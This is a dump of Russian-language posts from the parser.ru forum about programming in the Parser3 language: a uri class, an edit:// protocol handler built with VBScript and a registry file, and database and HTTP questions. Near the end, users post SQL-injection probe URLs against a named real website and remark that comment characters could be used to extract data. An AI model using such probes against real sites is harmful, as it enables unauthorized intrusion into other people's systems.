Я вообще написал это сообщение, потому что хотел улучшить класс uri. Можно оставить и get: ведь не известно когда выйде Парсер3.2.\
Но судя по тому, что народ не откликается, класс этот никто не использует.\
\
Вот, вы лично как поступаете с путями?"
"47458","Ихмо, стоит просто написать комменты, типа \"Передаем (данные/тип), получаем (данные/тип)\" :)\
\
Может лучше объявлять переменные локальными?\
\
было:\
[code]\
@geveme_all_site_uri[parent_uri]\
$_items[]\
[/code]\
\
возможно, станет:\
\
[code]\
@geveme_all_site_uri[parent_uri][_items]\
[/code]\
\
Или я чего-то не не так понял?\
\
P.S. Производительность тестировали? \
Сильно изменилась или нет, относительно оригинала?\
\
P.P.S. fun: http://thc.org/root/phun/unmaintain.html"
"47459","Есть сайт – он работает.\
\
Есть папка, где исключён из списка пользователей юзер из инета, только система и два пользователя домена, которые должны иметь доступ к этой папке. Из них один входит в группу админов на этой машине другой просто юзер. Так для админа эта страничка открывается на ура, а для юзера выдаёт ошибку: [i]'main' method not found[/i].\
\
Записи, изменений, удалений этот файл не производит. Там просто статистика из БД.\
\
В чём косяк я знаю, прав не хватает второму юзеру (не админу), но вот на что?\
\
Parser 3.1.4 (cgi) Win2003 IIS6.0"
"47460","И поэтому никак не могу узнать как у Вас проходит аутентификация пользователей. Мне кажется что там проблема."
"47461","Пробовал: http://www.parser.ru/forum/?id=5871\
Выяснилось, что этот самый индекс.хтмл не обрабатывается."
"47462","Здравствуйте. \
Подскажите, а кто-нибудь пробовал реализовать отсылку сообщений на icq с сайта, аля \"задать вопрос админу\"?\
Очень хочется.\
Я вижу это так:\
Есть техническая аська сайта, есть аська админа. При отправке скрипт логинится технической аськой и отсылает сообщение на аськку админа.\
Вопрос - как залогиниться?\
Пока не пробовал, сейчас буду, просто клиенту очень приспичило и очень срочно.."
"47464","Стоит ли идти по пути PhpMyAdmin и реализовывать все с фрэймами?\
У них всеравно полуоффлайново получается: Справа уже не то количество строк в таблицах, да и самих таблиц, а левая часть честно показывает старую инфу.\
Понимаю, что нагрузка на сервер и траф больше, но все же интересно мнение форумчан."
"47466","Можно сделать, чтобы левый фрейм обновлялся после изменения в правом тех данных, которые показываются слева."
"47467","1. Рациональное обоснование?\
2. OK"
"47470","Михаил считает его ужасным, а Вы поддерживаете...\
\
Пожалуйста, отпишите что именно в нем не нравится.\
Хочется сделать нужный и удобный инструмент."
"47471","Переменная $_items[] используется глобально (поэтому она не локальная).\
\
Производительность тестировал оператором @run_time[var] из класса lib. Мой вариант класса примерно на 350% быстрее работает и меньше кушает.\
\
P.S.\
Если учитывать, что класс используется в админке, то этот выигрыш погоду в целом не меняет."
"47472","ну... я не знаю как это описать. \
\
- view source - no comments.\
\
- перевод - NULL перевести как Ноль конечно можно, но... в sql это имеет иное значение. \"Пошел\", \"после\" ну и т.д.\
\
- внешний вид - элементы просто набросаны на страницу. навернака после того как привыкнешь уже знаешь где что искать, но в начале... по моему организацию интерфейса взять от Front-а. (иконки я бы вообще убрал из большинства мест)\
\
- кучу всего можно просто выкинуть, или если уж хочется оставить - унести куда-нить подальше, чтобы не мельтешило перед глазами, только мешаясь."
"47473","у меня в Опере в стандартном подробном Unhandled Exception эти русские каталоги видны квадратиками и приходится долго фтыкать то ли там ....\\Вебсервер\\...\\auto.p толи там ....\\Сайты\\.....\\auto.p\
еще где-то затыкался, особенно при отладке... причем настолько, что переписываю вручную и конфиг Ножика settings.ini и конфиг Апача"
"47474","Т.е. это примерно вот так должно выглядеть, если я правильно понял?\
\
[code]@CLASS\
uri\
\
###################################################################\
# Конструктор\
@init[items]\
$childs_of[^items.hash[parent_id][$.distinct[tables]]]\
\
###################################################################\
# ...\
@get[parent_uri]\
^if(!def $parent_uri){$parent_uri[/]}\
$_items[^table::create{uri	id	title}]\
^_get[$childs_of.0;$parent_uri]\
$result[$_items]\
$_items[]\
\
###################################################################\
# ...\
@_get[sibling;parent_uri]\
^sibling.menu{\
	^_items.append{${parent_uri}$sibling.[dir]/	$sibling.id	$sibling.title}\
	^if(def $childs_of.[$sibling.id]){\
		^_get[$childs_of.[$sibling.id];${parent_uri}$sibling.[dir]/]\
	}\
}[/code]"
"47475","а что это за класс? этот:\
http://www.egoroff.spb.ru/portfolio/15.html\
?\
\
[quot]\
Для совместимости с Парсер 3.2, я заменил названия методов.\
[/quot]\
\
не понял про совместимость c 3.2.\
методы названные @get_bla_bla_bla[] и @set_bla_bla_bla[] будут продолжать работать. ПАФ-у не дали-бы отнять у нас префикс get ибо используется он у нас в куче кода.\
\
на [url=\"/\"]морде сайта[/url] упоминается про префикс @GET (да, именно большими буквами, можно сказать по аналогии с @BASE/CLASS & Co) и ПАФ кажется об этом писал.\
\
диагноз: не надо корячиться с give & Co, get - rulez :)\
\
[b]UPDATED[/b]: не прочитал сообщение dev-а в данном треде, соотв. повторился. звиняйте."
"47477","Не знаю...\
А вот мне интерфейс phpMyAdmin нравится. ИМХО очень удобный."
"47478","От иконок никуда не деться. \
И поэтому буду их использовать энивэй - уж больно у них большая информативность при маленьком размере.\
\
Чем Нуль от ноля отличается - я в курсе :) самые используемые фукнкции вынесу наверх, а для остальных сделаю страничку \"для продвинутых\".\
\
Как только выложу первую публичную альфу - будет проще получать критику."
"47479","то я вообще плаирую (в будущем) реализовать все c использованием Subsys_JsHttpRequest"
"47480","phpMyAdmin не мировое зло, но он страшный, это да.\
Что изменить?...\
Я бы пошёл в сторону обычного приложения, без \"веб-вида\"...\
Но кучи квадратных кнопок тоже не нужно.\
В общем, интерфейс с наскока делать не стоит, его нужно продумывать.\
Мне думается, что лучше продумывать после того, как определятся основные возможности системы.\
\
NULL - это неопределённое значение.\
Некоторая пустота.\
Именно поэтому NULL != NULL."
"47481","Да. Именно так.\
\
Только, нужно childs заменинть на child."
"47482","Все права на эту ошибку защищены!\
\
[b]НЕ ПОВТОРЯТЬ![/b]\
\
[b]:[/b])[b]:[/b])[b]:[/b]) :) :)  :)   :)    :)      :)\
\
\
\
P.S.\
Кстати, а что означает:  \
[quote]«афтар жжошь! пеши есчо!»[/quote]"
"47484","друзья, я подумываю о том, чтобы включить нечто подобное в дистрибутив очередной версии parser:\
\
сидим, разрабатываем проект, случилась ошибка, выскочило:\
bug\
\
undefined method\
\
[url=\"edit://c:/local_copy/_bug.html?16:2\"]c:/drives/y/parser3project/parser3/www/htdocs/_bug.html(16:2)[/url]\
method	[url=\"edit://c:/local_copy/_bug.html?14:2\"]c:/drives/y/parser3project/parser3/www/htdocs/_bug.html(14:2)[/url]\
\
нажимаем на ссылку...\
edit://c:/local_copy/_bug.html?14:2\
попадаем...\
в текстовый редактор в нужную строку:колонку.\
\
для этого необходимо три простых шага:\
1. в auto.p поправить @uhnandled_exception на такой:\
[code]\
@ue_localize[remote][ip2local]\
$ip2local[\
	$.[ip.of.site.developer][c:/local_copy]\
]\
#^throw[debug;$env:REMOTE_ADDR]\
$result[$ip2local.[$env:REMOTE_ADDR]]\
^if(def $result){\
	$result[$result^remote.mid(^request:document-root.length[])]\
}{\
	$result[$remote]\
}\
\
@ue_file[info]\
<tt><a href=\"edit://^ue_localize[$info.file]?${info.lineno}:$info.colno\">$info.file^(${info.lineno}:$info.colno^)</a></tt>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{^ue_file[$exception]}\
}\
^if($stack){\
	<hr/>\
	<table>\
	^stack.menu{\
		<tr><td>$stack.name</td><td>^ue_file[$stack]</td></tr>\
	}\
	</table>\
}\
]\
[/code]\
\
2. положить один файлик сюда:\
c:\\edit.vbs\
[code]\
'20051202 paf@design.ru\
\
Set objArgs = WScript.Arguments\
Set objProcess = GetObject(\"winmgmts:root\\cimv2:Win32_Process\")\
'errReturn = objProcess.Create(\"Notepad.exe\")\
\
'  objArgs(0) = edit://c:/path/to/docroot/path/to/file?line:column\
s = Mid( objArgs(0), 8 )\
' s = c:/path/to/docroot/path/to/file?line:column\
\
Dim parts\
parts = Split(s, \"?\", 2)\
file = parts(0) ' c:/path/to/docroot/path/to/file\
lineCol = parts(1) ' line:column\
\
Dim coords \
coords = Split(lineCol, \":\")\
\
line = coords(0)\
col = coords(1)\
\
cmd = \"far.exe /e\"&line&\":\"&col&\" \"\"\"&file&\"\"\"\"\
'MsgBox cmd\
errReturn = objProcess.Create(cmd)\
'MsgBox errReturn\
[/code]\
\
3. один раз запустить такой файлик:\
edit-protocol.reg\
[code]\
Windows Registry Editor Version 5.00\
\
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\edit]\
@=\"URL:edit Protocol (edit://file?line:no)\"\
\"EditFlags\"=dword:00000002\
\"URL Protocol\"=\"\"\
\
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\edit\\shell]\
\
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\edit\\shell\\open]\
\
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\edit\\shell\\open\\command]\
@=\"wscript c:\\\\edit.vbs %l\"\
[/code]\
\
думаю, на эту тему можно сделать маленький инсталлятор, чтобы не возиться с файлами вручную.\
\
конечно, в таком виде — сыровато.\
проблемы:\
1. открывается каждый раз новое окно FAR\
2. хочется не для FAR, а для других редакторов, которые смогут не открывать отдельное окно, а переходить на уже открытое\
3. в поставку хочется включить то, что будет работать у всех сразу, однако предустановленные редакторы notepad и write не имеют (?) ключей командной строки для указания line:col.\
\
если кому идея пригянулась, просьба подумать, решить часть проблем, и, если не жалко, поделиться с окружающими.\
\
самое простое: сделать запуск и для других редакторов."
"47485","строчка вызова видимо должна выглядеть так:\
[code]cmd = \"uedit32.exe \"&file&\"/\"&line&\"/\"&col&\"[/code]"
"47486","[quote]To specify the line and column number at which to position the cursor when the file is opened, the line number and column number should follow the filename immediately separated from the filename by a '/' character follows:[code]filename/5/2[/code]This opens the file with the cursor positioned at line 5, column 2. The line number may be specified without specifying the column number.\
\
The separator character '/' was a comma in previous releases, however as this is a valid character for filenames it has been changed. If it is preferred to use the comma or another character, the following line may be added to the INI file:\
\
LineColumnChar= ,\
\
where the comma may be any character except a colon ':', however UltraEdit will not be able to open a file that contains this character.\
\
Additionally, the command line may include –lx or –cx following the filename (space separated) where x is the line or column number and this can be after each file name. This is a new method and if used it should be after the file name separated with a space and if the filename is in quotes it should be after the quotes with a space between this and the quotes.[/quote]"
"47488","Заметил, что не описано про charset. Это видимо новый параметр, который скорее всего появился после появления MySQL 4."
"47489","http://www.parser.ru/forum/?id=47175"
"47490","досадная мелочь."
"47492","Т.е. примерно вот так все должно выглядеть?\
\
[code]@CLASS\
uri\
\
###################################################################\
# Конструктор, items - таблица (поля: uri, id, title).\
@init[items]\
$children_of[^items.hash[parent_id][$.distinct[tables]]]\
\
###################################################################\
# Необязательный параметр parent_uri - адрес корневой директории, по умолчанию \"/\".\
# Возвращает таблицу (поля: uri, id, title), содержащую полные адреса всех дочерних директорий.\
@get[parent_uri]\
^if(!def $parent_uri){$parent_uri[/]}\
$_items[^table::create{uri	id	title}]\
^_get[$children_of.0;$parent_uri]\
$result[$_items]\
$_items[]\
\
###################################################################\
# внутренний метод, рекурсивно обходит дочерние директории, вычисляет их адреса\
# и добавляет их в таблицу _item.\
@_get[sibling;parent_uri]\
^sibling.menu{\
	^_items.append{${parent_uri}$sibling.[dir]/	$sibling.id	$sibling.title}\
	^if(def $children_of.[$sibling.id]){\
		^_get[$children_of.[$sibling.id];${parent_uri}$sibling.[dir]/]\
	}\
}[/code]"
"47493","Вроде все там путем..."
"47494","Зачем/почему?!"
"47495","Думаю, что не помешали бы и такие методы, написал навскидку, даже не запускал, но идея, думаю понятна.\
[code]\
# Имхо, нужно подумать о варианте с использованием хеша, должно быть быстрее.\
\
#get uri by id\
@get_uri[id]\
$_[^get[]]\
^if(^_.locate[id;$id]){\
	$result[$_.uri]\
}\
\
#get id by uri\
@get_id[uri][_]\
#$name[^uri.trim[]] ^rem{*** ? ***}\
^if(^uri.left(1) ne \"/\"){$uri[$uri/]}\
$_[^get[$uri]]\
^if(^_.locate[uri;$uri]){\
	$result($_.id)\
}[/code]"
"47496","[code]\
#######\
# получение id раздела по заданному uri\
@get_id[uri][all_site_uri;section]\
$all_site_uri[^get_all_site_uri[]]\
$uri[^if(^uri.left(1) ne '/'){/}$uri^if(^uri.right(1) ne '/'){/}]\
$section[^all_site_uri.select($all_site_uri.uri eq  $uri)]\
$result($section.id)\
[/code]"
"47497","в ваших .xsl точно такого нет?\
\
проверили, и в .NET нельзя\
[code]\
<xsl:template match=\"…$переменная…\">\
[/code]"
"47498","Мне как-то не приходило в голову такое писать :)\
\
P.S.: А когда ждать выхода новой версии?"
"47499","Первый раз смотрел когда новости — страница была закеширована видимо и этой новости еще не было."
"47500","Пришлось лезть на проксю и обнулять кэш Парсерюру и все стало видно.\
\
А по сабжу - спасибо что заострили внимание. Довольно много приходится сталкиваться с чужим кодом на Парсере. Возьму на заметку."
"47504","это старый параметр, который решил спрятать в пользу ClientCharset, однако жизнь заставила вернуть.\
\
вы аккуратнее баги находите, я вчера уже скомпилировал 6 пакетов документации (ru/en*html/chm/pdf) ;)"
"47508","а что вернёт get_uri, если случится else?"
"47511","2модератор: просьба удалить сообщение 47510 :)\
[code]#get uri by id\
@get_uri[id][_]\
$_[^get[]]\
^if(^_.locate[id;$id]){\
	$result[$_.uri]\
}\
\
#get id by uri\
@get_id[uri][_]\
# возможно, стоит делать ^trim[]:\
#$uri[^uri.trim[]] \
^if(^uri.left(1) ne \"/\"){$uri[$uri/]}\
$_[^get[$uri]]\
^if(^_.locate[uri;$uri]){\
	$result($_.id)\
}{\
#	Возможно, стоит возращать какой-то другой тип,\
#	и в зависимости от него решать, что делать дальше.\
#	Например, int - директория найдена, bool - не удалось найти.\
	$result(0)\
}[/code]"
"47513","если такой ситуации не может быть: зачем if.\
если может быть, и это ошибка: лучше не тянуть и сразу заявить об этом, сказав, не побоимся этого слова,\
[code]\
^throw[invariant.violation;не найдено то-то по id такому-то]\
[/code]\
\
см. также про ^assert тут:\
http://www.parser.ru/forum/?id=47080"
"47514","Я конечно могу и ручками отправляться на страничку с ошибкой, но обидно, когда автор не думает о пользователях других OS.\
Чуть больше года назад я переехал с Windows на Linux, при переносе своих проэктов но новую OS кое-какой код начал выдавать ошибку (не всё что работает в Выни может работать под Линух), я не стал разбираться в причинах, просто убрал ошибки, потому как не собирался и не собираюсь возвращатся к Глючно-Отстойной операционке.\
\
Я предпологаю, что я не единственный кто предпочитает альтернативу Windows, поэтому просьба, не забывайте о пользователях nix-подобных OS."
"47515","как сделать подобное на Linux?\
\
fun: [i]и как сделать потом, чтобы фанаты Solaris не прислали подобного письма?[/i]"
"47516","Служба поддержки очень медленно отвечает,\
а как устанавливать непонятно."
"47517","http://www.egoroff.spb.ru/\
http://www.egoroff.spb.ru/opinions/24.html"
"47518","только боюсь моё предложение может быть сильно кривым, поскольку я не очень силён в подобных вопросах."
"47519","Есть некий xml-rss([url=\"http://informer.gismeteo.ru/rss/26850.xml\"]точнее[/url]). Значения всех тегов я могу выбрать, а вот на этом \"enclosure\" застопорился. [code]$enclosure{^sourceDoc.selectString[string(/rss/channel/item[position() = $i]/enclosure)]}[/code] не проходит.\
И еще вопрос не совсем по теме, можно ли узнать имена полей в некоторой ветке /rss/channel/item ?"
"47520","Ждем, что скажет автор. \
В общих чертах, примерно вот так:\
\
[code]@CLASS\
uri\
\
# by Maxim Shipko  mailto:maxim@shipko.com.ua\
# based on http://www.egoroff.spb.ru/portfolio/15.html\
\
###################################################################\
# Конструктор, items - таблица (поля: uri, id, title).\
@init[items]\
$children_of[^items.hash[parent_id][$.distinct[tables]]]\
\
###################################################################\
# Необязательный параметр parent_uri - адрес корневой директории, по умолчанию \"/\".\
# Возвращает таблицу (поля: uri, id, title), содержащую полные адреса всех дочерних директорий.\
@get[parent_uri]\
^if(!def $parent_uri){$parent_uri[/]}\
$_items[^table::create{uri	id	title}]\
^_get[$children_of.0;$parent_uri]\
$result[$_items]\
$_items[]\
\
###################################################################\
# внутренний метод, рекурсивно обходит дочерние директории, вычисляет их адреса\
# и добавляет их в таблицу _item.\
@_get[sibling;parent_uri]\
^sibling.menu{\
	^_items.append{${parent_uri}$sibling.[dir]/	$sibling.id	$sibling.title}\
	^if(def $children_of.[$sibling.id]){\
		^_get[$children_of.[$sibling.id];${parent_uri}$sibling.[dir]/]\
	}\
}\
\
\
\
###################################################################\
# Параметр - id директории.\
# Возвращает полный адрес директории.\
@get_uri[id][_]\
$_[^get[]]\
^if(^_.locate[id;$id]){\
	$result[$_.uri]\
}{\
	^throw[uri.missing;$id;Id '$id' not found]\
}\
\
###################################################################\
# Параметр - полный адрес директории.\
# Возвращает id.\
@get_id[uri][_]\
# возможно, стоит делать ^trim[]:\
#$uri[^uri.trim[]] \
# Исключаем вариант, когда адрес не содержит закрывающего слеша:\
#^if(^uri.left(1) ne \"/\"){$uri[$uri/]}\
$_[^get[$uri]]\
^if(^_.locate[uri;$uri]){\
	$result($_.id)\
}{\
	^throw[uri.missing;$uri;URI '$uri' not found]\
}[/code]"
"47521","Подскажите как работать с БД 1С с помощью парсера?"
"47522","кидать из 1С в MSSQL, а дальше уже понятно"
"47524","Как именно кидать из один 1С: сохранять оттуда в виде XML?\
\
Напрямую из файлов БД 1С читать как-нибудь можно?"
"47525","Лыжи не едут совсем.\
\
[code]\
@main[]\
$_hash[\
	$.charset[$response:charset]\
	$.method[GET]\
	$.timeout(10)\
	$.any-status(1)\
	$.headers[\
		$.User-Agent[ParTest]\
	]\
]\
$_f[^file::load[binary;http://www.parser.ru/favicon.ico;$_hash]]\
[/code]\
\
Использовал http://web-sniffer.net/ для того чтобы посмотреть что отдают разные сервера при разных параметрах запросов. Результат: мой сервер нормально отдаёт все при:\
\
1.  HTTP/1.1\
2.  HTTP/1.0 (with Host header)\
\
и НЕ ОТДАЁТ при:\
3. HTTP/1.0 (without Host header)\
\
Вопрос: что надо прописать в\
[code]\
^file::load[binary;http://site_address;$.headers[\
   $.??????[]\
]\
]\
[/code]\
чтобы протокол обмена при запросе был по п.1 или п.2 ?\
\
Пытался всё уже прописывать, но в логах МОЕГО Apace:\
[code]\
...\"GET /la-la-la/ HTTP/1.0\" 200 36 \"-\" \"ParTest\"\
[/code]\
\
Подозреваю что дело в \"Host header\", форум перерыл, но так и не нашел ничего, что смазало бы лыжи :("
"47526","[quote]И еще вопрос не совсем по теме, можно ли узнать имена полей в некоторой ветке /rss/channel/item ?[/quote]\
Можно. См. в документации по классу XNode."
"47527","Предлагаю добавить функцию в раздел \"Свои треды\" - Показ удалённых (запрещенных) сообщений.\
P.S. Имею ввиду только свои сообщения, других пользователей особо не интересуют."
"47530","Владалец ipo-design.ru прочитал :) и выкладывет исходник :)\
load_test.prs\
[code]\
# Читаем что нам пришлов QWERY_STRING\
^form:fields.foreach[field;value]{\
$forma[$field]\
# $qwery[^untaint{$value}]\
$qwery[^untaint{$value}]\
}\
\
\
# Разбираем строку запроса\
# ?id:??:q=Что было у нас в форме\
^forma.match[(.*):(.*):(.*)][g]{\
   $uid[$match.1]\
   $suid[$match.2]\
   $q[$match.3]\
}\
\
# -----  #%?&+ (не редедает эти символы корректно :( )\
\
$test[\
   $.food[$qwery]\
   $.good[^math:md5[$qwery]]\
]\
\
# Выдаем преорразованные данные PARSER в данные JavaScript\
 JSHttpRequest.dataReady(\
  $uid,\
  'Вроде ошибок нету',\
  ^object2js[$test]\
)\
[/code]\
\
метод @object2js[] - тут \
http://www.parser.ru/forum/?id=41408"
"47532","рецепт счастья:\
\
[code]\
cd ~/parser3project/parser3\
make happy\
[/code]"
"47534","http://www.artlebedev.ru/tools/technogrette/xslt/strings/"
"47536","Пишу курсовую работу о Яндексе XML.\
Не все поняла. Поделитесь информацией, использовали ли этот сервис, как, в чем \"+\". Очень поможете. Спасибо."
"47537","Интересует статистика отказов по предоставлению сервиса перенаправлений у разных провайдеров. У кого на хостинге нет подобной фичи? А у кого есть?"
"47540","Но я думаю, что обязательно помогут, если вопросы будут более определёнными, а реализация курсовой будет на парсере.\
\
Основная задача яндекса искать, а яндекс xml это возможность искать из своих скриптов/программ и предоставлять в требуемом виде результаты поиска.\
\
+ отсутствии альтернативы\
+ платность сервиса\
\
не использовал / поверхностно изучал с год назад"
"47541","Почему \"отсутствие альтернативы\"?\
Еще у Гугла что-то подобное существует, если я не ошибаюсь."
"47542","у гугла с русским проблемы"
"47544","[color=\"#cccccc\"]\
-- \
Wonder and Slash ;)\
[/color]"
"47545","приглашается начинающий или с опытом программист знающий java и parser(либо php). Для совместного создания и ведения проекта пишите grefts|cat|msn|dot|com     cat-@dot-."
"47546","Установил ODBC драйвер для парсера, пытаюсь подключиться к *.dbf файлам в \\1Cv77.ADM\\ATC\
\
Строка подключения:\
[code]odbc://Driver={Microsoft dBASE Driver (*.dbf)}^;SourceType=DBF^;SourceDB=\"F:\\Program Files\\1Cv77.ADM\\ATC\\CL.DBF\"^;[/code]\
\
1. Открыл в MS Access CL.DBF там открылась таблица с несколькими полями\
\
2. Пишу в auto.p: [code]select * from CL[/code]\
\
[b]Ошибка[/b]:\
\
[code]CDBException: The Microsoft Jet database engine could not find the object 'CL'.  Make sure the object exists and that you spell its name and the path name correctly.[/code]\
\
Как можно подключиться к *.dbf файлу?"
"47547","видимо проект очень секретный раз так зашифровал мыло, даже писать страшно"
"47548","Скажите, Александр, верно ли моё предположение (в исходники я не смотрел), что код на Парсере при интерпретации вначале переводится в байт-код? Типа того, который представлен в примере?\
\
Ведь если это так, то упрощается задача сделать оптимизатор (ускоритель) процесса интерпретации. Что-то типа ZendOptimizer, хотя я не интересовался, как он работает.\
\
А ещё интереснее иная вещь: если действительно имеет место преобразование парсерного кода в байт-код, то насколько проблематично перевести этот байт-код в IL (я имею в виду тот самый промежуточный язык, что применяется в .NET)?\
\
Или я чего-то путаю?"
"47549","Похоже, что PAF уже совсем заждался пока кто-нибудь полезет-таки в исходники и сможет глубоко оценить идеи и находки, которые там заложены. Не отчаивайтесь, Александр! Ваш язык действительно великолепен, и когда-нибудь кто-то обязательно присоединиться, и будет активно учавствовать изнутри в продуктивном развитии этого творения :)\
\
А пока что, продолжайте писать заметки \"что у parser внутри\" -- это очень интересно и придаёт форуму новые краски, привлекая новых читателей."
"47551","http://www.ru-master.ru/\
\
Не находите сходства логотипа CMS с логотипом [url=\"http://www.artlebedev.ru/portfolio/yandex/so_identity/\"]«Спамообороны»[/url]?.."
"47552","но вот такое не проходит\
[code]$im{^sourceDoc.selectString[string(/rss/channel/item/enclosure[position() = 0]/uri)]}[/code]"
"47553","Пришла спамить, но другого выхода уже не вижу.\
\
Ищу разработчика интернет магазина под ключ. Уже два агентства \"убежало\", потому что проект сложный.\
\
Нужна сильная админка. Ну и соответсвенно дизайн под это дело. Бюджет 5 000$.\
\
Минус в том, что мне надо проевести это официально, поэтому обращалась в агентства. \
\
Может кто подскажет, кто сможет мне помочь?\
\
Писать на bea@soloru.ru"
"47557","1. пишите путь в UNC виде, у сервиса буква не смонтирована\
2. насколько понимаю, в SourceDB указывается каталог, на не .dbf, уточните на http://www.connectionstrings.com/\
3. почитайте немного о пользователях и их правах\
вот близкая по теме статья:\
http://support.microsoft.com/default.aspx?scid=kb;en-us;175801\
(уверен, можно найти и буквально о вашем случае, но общую идею поймёте и из этой)"
"47558","уже есть шаги в эту сторону.\
однако пока нашим клиентам особенно не нужно, не суетимся.\
\
кто хочет поделать, с радостью поделимся идеями.\
кое-что из идей уже сейчас вписано в комментарии [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/compile.y?rev=HEAD&content-type=text/vnd.viewcvs-markup\"]тут[/url].\
\
что до IL: теоретически, что-то можно сделать.\
однако совершенно непонятно, зачем."
"47559","Спасибо за ответ."
"47560","http://www.parser.ru/forum/?id=47561"
"47561","на свете много хороших исходных кодов.\
если есть возможность, думаю, стоит на них поучиться.\
программистам на C++ очень советую поучиться на исходниках SSCLI (Microsoft).\
\
Parser совсем небольшой и несложный проект, но и тут есть что взять:\
скажем, проследить в cvs.parser.ru, как в ходе истории менялась реализация класса [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/include/pa_string.h?graph=1.166\"]String[/url]:\
имелось [b]три[/b] разных версии: \
* изначально связный список из блоков-указателей на кусочки, \
* потом вышеописанная CORD-реализация дерева букв из libgc + хитрый способ хранения tainting\
* потом текущий вариант с двумя CORD и оптимизацией простых случаев.\
\
конечно, тут важно, что клиенты класса String ничего не замечали, остальной код не менялся.\
\
работа с памятью, это отдельная песня:\
* изначально было принято решение не освобождать ненужные куски памяти, их учёт требовал больше сил, чем представлялось выгоды\
* потом была сделан, но не выпущен, вариант с учётом ссылок, см. [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/include/pa_memory.h?graph=1.13\"]здесь, ветка autoptr[/url]. такой подход относительно несложен в реализации, однако недостатки подхода перевесили достоинства:\
-кольцевые ссылки. при определённой дисциплине пользователей эту проблему можно обойти, однако этой самой дисциплины, понятно, нет. а также абсолютная необходимость в обратной совместимости.\
-цена подхода оказалась не очень: профайлер упорно указывал на тормоза в точке учёта ссылок\
-хотя в некоторых языках так и сделано, их архитекторы всё равно стремятся или к комбинированному подходу (refcounting+gc — python) или к чистому gc (java, .NET).\
* сейчас используется libgc, без описания типов объектов\
* в будущем, если понадобится, есть куда ускориться: в libgc есть поддержка описаний объектов, а значит можно в два-три раза ускорить сборку мусора, просто предоставив менеджеру памяти эти описания. сделать совсем несложно. в .NET сделано ровно так.\
\
о возможном кэшировании байткода уже [url=\"http://www.parser.ru/forum/?id=47558\"]уже писал[/url].\
скэшировать можно и в память, и на диск."
"47562","официально провести без вопросов.\
\
P.S. Вот [url=\"http://tptrade.ru/\"]пример[/url] для затравки"
"47563","Наконец поборол лень и написал статью:\
Живой пример использования CVS при разработке сайтов и синхронизации исходных кодов на хостинге. Рассмотрена работа со родным cvs сервером FreeBSD и бесплатным windows cvs клиентом TortoiseCVS в типичных задачах разработчика.\
\
[url=\"http://it-expert.com.ua/weblog/message/325/\"]Статья[/url]"
"47564","Пишите: mail@demone.net.ru\
Чем смогу — помогу обязательно ;)"
"47565","Тогда уж сходства с собакой. Тем более, что уж это-то и там и там есть."
"47566","...в логах возникает такая ошибка:\
Premature end of script headers: .../cgi-bin/parser3.cgi\
\
Что это???\
Ну очень мешает."
"47569","Да нету тут никакого плагиата.\
Идея совершенно разная."
"47570","Sokr.ru на парсере написан?"
"47572","[url=\"http://www.trifonov.org/a.jpg\"]Буду молчалив, загадочен и двусмысленнен.......[/url]"
"47577","Как показало ближайшее рассмотрение — символ «собака» стилизованный под шестеренку в логотипе Системы управления сайтом [url=\"http://www.ru-master.ru/images/rec_mastersite.gif\"]«master[i]site[/i]»[/url] и логотип [url=\"http://www.artlebedev.ru/portfolio/yandex/so_identity/sign_so.gif\"]«Спамообороны»[/url] отличаются только последним зубцом — в логотипе CMS его нету."
"47578","Смотрим сюда: [url=\"http://www.artlebedev.ru/portfolio/self/sokr4/]http://www.artlebedev.ru/portfolio/self/sokr4/[/url]\
Видим в правом столбике:\
[quot]\
Собственные технологии Студии Лебедева:\
Imprimatur (Mihin Admin)\
Parser\
[/quot]\
т.е текущая версия сайта написана на Parser"
"47580","что-нибудь в parser3.log успевает ли записаться?\
выясните, что именно за страница сбоит.\
есть ли у неё параметры,\
можно ли воспроизвести.\
и дальше по списку.."
"47582","читайте документацию по apache.\
ещё что-то в форуме было.\
\
вы написали явно не то."
"47584","Александр, ссылка сейчас не работает, как называлась статья?\
Спасибо."
"47585","http://web.archive.org/web/*/http://http://blogs.msdn.com/ericlippert/category/4480.aspx"
"47586","Вы, Александр, прям, как добрый сказочник: регулярно стали рассказывать чего-нибудь интересное.\
\
Может сделать раздел, типа \"заметки PAF'а: что у парсера внутри\" и туда всякие мысли писать.\
Как что изменялось, почему, что ещё можно поменять/подкрутить.\
\
Помимо чисто обывательского интереса \"как оно работает?\", может кому поможет и при разработке своего ПО..."
"47593","Eric Lippert's:\
Fabulous Adventures In Coding"
"47594","хреновая затравка :)\
[url=\"http://tptrade.ru/production/?level=10'\"]http://tptrade.ru/production/?level=10'[/url]"
"47595","1. плохо, что выводится unhandled_exception_debug, а не _release\
2. хорошо, что страница не работает. обратим внимание, что не работает и так:\
http://tptrade.ru/production/?level='10'\
поскольку в запрос попадает подобный бред:\
[code]\
where field=\\'10\\'\
[/code]\
главно, что неправильный запрос [b]не работает[/b]."
"47596","по-моему, можно было сделать ^field.int(0) и убить сразу обоих зайцев.\
А насчет неработающего запроса - я думаю, это просто дело техники сделать из него запрос работающий. Тут одними кавычками не обойтись, но если использовать символы комментария, к примеру, вполне возможно, что получится что-нибудь вытянуть.\
Хотя бы теоретически... Я не призываю всех кинуться разламывать данный проект :)"
"47597","Мои две копейки:\
\
1. от pserver лучше отказаться (или пускать через ssh)\
2. количество людей, у которых собственный сервак под *nix с правом править конфиги inetd минимально - лучше описать установку cvsnt \
3. про cvswrappers не написано"
"47598","такой запрос [url=\"http://tptrade.ru/production/?level=10%/'4\"]http://tptrade.ru/production/?level=10%/'4[/url]\
с точки зрения скрипта абсолютно легален. С точки зрения нормального человека как минимум подозрителен :) В данном случае действительно нет ничего опасного, т.к. достается всего 1 поле varchar, но это можно сказать повезло..."
"47599","Появилась необходимость отдавать файл с переносами в формате DOS. Код:\
[code]\
$s[^taint[as-is][строка 1\
строка 2\
строка 3}]]\
^s.save[$filename]\
$response:download[\
	$.file[$filename]\
]\
[/code]\
В самом коде переносы нормальные (0D0A), но в том файле, который предлагает сохранить браузер, 0D уже нет, только 0A.\
\
